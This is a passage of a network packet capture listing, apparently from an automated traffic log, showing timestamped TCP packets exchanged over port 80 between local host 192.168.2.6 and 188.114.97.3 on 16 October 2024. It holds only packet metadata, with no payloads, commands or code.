                                                                                    Oct 16, 2024 10:58:23.788984060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.788992882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789007902 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789030075 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789040089 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789083004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789093018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789108992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789118052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789127111 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789130926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789140940 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789150953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789163113 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789203882 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789216995 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789228916 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789237976 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789251089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789253950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789263010 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789272070 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789273024 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789282084 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789287090 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789297104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789307117 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789308071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789318085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789333105 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789340973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789350986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789354086 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789376020 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789397955 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789668083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789679050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789690018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789699078 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789707899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789712906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789726019 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789747953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789757013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789767981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789776087 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789786100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789796114 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789803028 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789829016 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789836884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789846897 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789868116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789868116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789875984 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789885998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789894104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789901018 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789908886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789911985 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789920092 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789930105 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789947033 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789948940 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.789973021 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789973021 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.789988041 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.790036917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.790051937 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.790060997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.790070057 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.790076017 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.790080070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.790113926 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.790128946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.804114103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.804131985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.804143906 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.804155111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.804188967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.804230928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.804258108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.804297924 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.833714962 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.833740950 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.833758116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.833767891 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.833777905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.833817959 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.833873987 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.847484112 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.847560883 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.847573042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.847573996 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.847579956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.847585917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.847593069 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.847599983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.847621918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.847651958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.847687006 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.847719908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.847732067 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.847748041 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.847759962 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.847767115 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.847784996 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.847800016 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.883618116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.883651018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.883661032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.883670092 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.883681059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.883742094 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.883779049 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.902951002 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.902976990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.902995110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.903023005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.903036118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.903057098 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.903116941 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.904583931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904612064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904627085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904668093 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.904678106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904681921 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.904691935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904704094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904715061 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904715061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.904730082 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.904747009 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.904803038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904814959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904827118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904838085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904839039 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.904850006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904865980 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.904896021 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.904953003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904964924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904979944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904990911 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.904993057 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.905004978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905015945 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.905019045 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905035019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905038118 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.905042887 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905061007 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905062914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.905072927 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905078888 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.905086994 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905114889 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905117989 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.905129910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905164957 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.905195951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905208111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905216932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905227900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905234098 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.905241966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905258894 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.905283928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.905313015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905324936 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905334949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905345917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905355930 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.905359030 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.905380011 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.905395031 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909336090 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909349918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909359932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909399033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909406900 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909410954 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909420967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909434080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909435034 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909455061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909480095 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909568071 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909579992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909590006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909599066 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909610987 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909615993 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909627914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909637928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909638882 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909648895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909651041 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909662008 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909667015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909676075 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909677982 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909694910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909704924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909706116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909717083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909722090 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909728050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909738064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909746885 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909749985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909771919 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909785986 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909801006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909811974 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909821033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909832001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909841061 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909848928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909852982 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909863949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909874916 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909878969 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909893036 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909903049 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909923077 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.909933090 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909945965 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909951925 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909962893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909974098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.909975052 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910001993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910099983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910111904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910120964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910130024 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910140991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910144091 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910155058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910161018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910161972 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910166025 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910183907 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910193920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910196066 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910207987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910217047 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910218954 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910231113 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910239935 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910240889 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910254002 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910264969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910268068 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910284042 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910296917 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910379887 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910470963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910480976 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910491943 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910501003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910506010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910514116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910522938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910526037 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910535097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910548925 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910563946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910586119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910594940 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910607100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910615921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910626888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910629034 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910639048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.910643101 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910662889 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.910685062 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.997658968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997680902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997700930 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997714043 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997725010 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997735023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997754097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997751951 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.997764111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997771978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997776985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997788906 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997801065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997802973 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.997802973 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.997812986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997817993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.997827053 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997844934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.997869968 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.997874975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997888088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997899055 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997910023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997921944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:23.997925043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.997941017 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:23.997953892 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.008821964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.008872032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.008882999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.008918047 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.008936882 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.008975983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.020708084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.020730972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.020771027 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.020781040 CEST8049802188.114.97.3192.168.2.6
